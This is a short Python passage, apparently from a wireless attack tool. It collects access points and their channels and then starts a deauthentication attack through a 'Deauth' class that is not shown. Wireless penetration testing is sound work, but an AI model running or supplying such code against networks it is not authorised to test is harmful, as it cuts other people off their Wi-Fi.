ap_list[bssid] = access_points[bssid]["ch"] print("\n") deauthent = deauth.Deauth(ap_list, interface) deauthent.start_deauth()